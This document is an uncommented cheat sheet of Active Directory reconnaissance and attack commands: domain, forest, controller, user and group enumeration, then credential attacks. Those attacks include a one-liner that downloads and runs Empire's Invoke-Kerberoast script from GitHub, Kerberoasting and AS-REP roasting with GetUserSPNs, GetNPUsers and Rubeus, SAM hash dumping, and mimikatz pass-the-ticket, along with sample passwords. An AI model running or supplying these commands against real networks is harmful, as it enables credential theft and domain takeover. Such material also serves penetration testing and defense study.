systeminfo | findstr /B /C:"Domain"

echo %userdomain%

wmic computersystem get domain

import-module activedirectory
Get-ADDomain

# current domain info
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()

# domain trusts
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

nmap -p 53,389,135 <network/24> -v -sV

ldapsearch -x -h 10.10.10.175 -s base namingcontexts

import-module activedirectory
Get-ADForest

# current forest info
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()

# get forest trust relationships
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()

set type=all
_ldap._tcp.dc._msdcs.DOMAIN_NAME

nslookup -type=srv _kerberos._tcp.EXMAPLE.COM
nslookup -type=srv _kerberos._udp.EXMAPLE.COM
nslookup -type=srv _kpasswd._tcp.EXAMPLE.COM
nslookup -type=srv _kpasswd._udp.EXAMPLE.COM
nslookup -type=srv _ldap._tcp.EXAMPLE.COM
nslookup -type=srv _ldap._tcp.dc._msdcs.EXAMPLE.COM
nslookup -type=srv _ldap._tcp.pdc._msdcs.EXAMPLE.COM

# Если запросы идут к FOREST-домену
nslookup -type=srv _ldap._tcp.gc._msdcs.%DNSFORESTNAME%.
nslookup -type=srv _gc._tcp.%DNSFORESTNAME%.

nslookup -type=any %userdnsdomain%.

nltest /dclist:domainname

Import-Module ActiveDirectory
(Get-ADDomainController -DomainName <Domain FQDN> -Discover -NextClosestSite).HostName

Resolve-DnsName -Name _ldap._tcp.dc._msdcs.<YOU_DOMAIN> -Type SRV

gpresult

gpresult /z
or
gpresult /Z

import activedirectory
Get-ADComputer -Filter * -Properties IPv4Address

netdom member


netdom /d:<domain name> \[/u:<domain>\<user to which query> /p:<password\] member

net view /domain:savtech

$AD = [adsisearcher]"objectcategory=computer"
$Computers = $AD.FindAll()
$Computers.Properties.Name

ldapsearch -LLL  -H ldap://ad.ourdomain.local  -x  -D 'OURDOMAIN\user' -w 'thepassword' -b 'dc=ourdomain,dc=local' 'objectClass=computer' name

windapsearch -C ...

crackmapexec smb <ip> -u <user> -p <password> --users

Get-ADUser -Filter 'Name -like "*SvcAccount"' | Format-Table Name,SamAccountName -A

python3 GetADUsers.py -all test.local/john:password123 -dc-ip 10.10.10.1

windapsearch --users ...

ldapsearch -xLLL -h domain.org -D "domain\\user" -W -b "DC=domain,DC=org" -s sub "(objectclass=user)" sAMAccountName

nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>',userdb=<users_list_file>" <dc_ip>

enum4linux -U <dc-ip> | grep 'user:'

sudo service ntp stop
sudo ntpdate -s time.nist.gov
sudo service ntp start

root@kali:~# rdate -n 10.10.10.248
Sun Oct 17 19:41:14 EDT 2021

date --set 1998-11-02 
date --set 21:08:00

service ntpd stop
update-rc.d -f ntpd remove
nano /etc/ntp.conf
while true; do date --set 19:46:08 > /dev/null; done;

sudo apt-get install chrony
sudo timedatectl set-ntp true
sudo ntpdate <machine IP>

VBoxManage setextradata "VM name" "VBoxInternal/Devices/VMMDev/0/Config/GetHostTimeDisabled" 1

proxychains htpdate 172.16.249.204 -s

Get-ADComputer -Filter * -Properties ipv4Address, OperatingSystem, OperatingSystemServicePack | Format-List name, ipv4*, oper*

$domain = [System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()
$domain | ForEach-Object {$_.DomainControllers} | 
ForEach-Object {
  $hostEntry= [System.Net.Dns]::GetHostByName($_.Name)
New-Object -TypeName PSObject -Property @{
      Name = $_.Name
      IPAddress = $hostEntry.AddressList[0].IPAddressToString
    }
} | Select Name, IPAddress

Get-WinEvent  -Computer (computer name) -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | select @{N='User';E={$_.Properties[1].Value}}

$domain = [System.Directoryservices.Activedirectory.Domain]::GetCurrentDomain()
$domain | ForEach-Object {$_.DomainControllers} | 
ForEach-Object {
  $hostEntry= [System.Net.Dns]::GetHostByName($_.Name)
  New-Object -TypeName PSObject -Property @{
      Name = $_.Name
      IPAddress = $hostEntry.AddressList[0].IPAddressToString
     }
} | Export-CSV "C:\DomainControllers.csv" -NoTypeInformation -Encoding UTF8

Get-ADComputer -Filter * -Properties ipv4Address, OperatingSystem, OperatingSystemServicePack | Format-List name, ipv4*, oper*

sudo nmap x.x.X.x -Pn -sV

# 636/tcp open  ssl/ldap (Anonymous bind OK)

python smbmap.py -H 192.168.0.1

smbclient –L 192.168.1.108

sudo nmap -sU -sS --script smb-enum-shares.nse -p U:137,T:139 <host>

rpcclient -U '' -N 10.10.10.1

setspn -T TestDomain -Q */*

MSSQLSERVER/SQL-Server.testdomain.com:1433

$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
$results = $search.Findall()
foreach($result in $results)
{
	$userEntry = $result.GetDirectoryEntry()
	Write-host "User : " $userEntry.name "(" $userEntry.distinguishedName ")"
	Write-host "SPNs"        
	foreach($SPN in $userEntry.servicePrincipalName)
	{
		$SPN       
	}
	Write-host ""
}

iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>

python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>

Rubeus.exe aspreproast

GetNPUsers.py CONTOSO.COM/Administrator:'P@ssw0rd' -request

samdump2 -d ./SAM ./SYSTEM

./ticket_converter.py admin.ccache admin.kirbi
./ticket_converter.py admin.kirbi admin.ccache

.\Rubeus.exe ppt /ticket:new_ticket.ccache

mimikatz # kerberos::ptt new_ticket.ccache

export KRB5CCNAME=./test.ccache

wmic useraccount get name,sid

Convert-NameToSid high-sec-corp.localkrbtgt
S-1-5-21-2941561648-383941485-1389968811-502

Get-ADPrincipalGroupMembership username | select name

Import-Module ActiveDirectory
(Get-ADUser userName –Properties MemberOf | Select-Object MemberOf).MemberOf

(Get-ADUser userName –Properties MemberOf).MemberOf

(New-Object System.DirectoryServices.DirectorySearcher("(&(objectCategory=User)(samAccountName=$($env:username)))")).FindOne().GetDirectoryEntry().memberOf

net user /domain username

windapsearch -G ...

ldapsearch -x -H "ldap://openldap" -D "CN=UserName,CN=Users,DC=YOURDOMAIN,DC=NET" -w admin '(member:1.2.840.113556.1.4.1941)'

ldapsearch -LLL -x -h DC-THESHIP.PLANETEXPRESS.LOCAL -p 389 -D 'PLANETEXPRESS\SService' -w 'L1feD3@thSeamlessContinuum' -b 'DC=PLANETEXPRESS,DC=LOCAL' "(member=1.2.840.113556.1.4.1941)" dn

string currentuser = Environment.UserName;
string currentmachine = Environment.MachineName;

if (DirectoryEntry.Exists(string.Format("WinNT://{0}/{1}", currentmachine,  currentuser)))
{
    Console.WriteLine("it's working\n");
    Roles.Enabled = true;
    Console.WriteLine(Roles.GetRolesForUser(currentuser));
}
else
{
    Console.WriteLine("it's not working");
}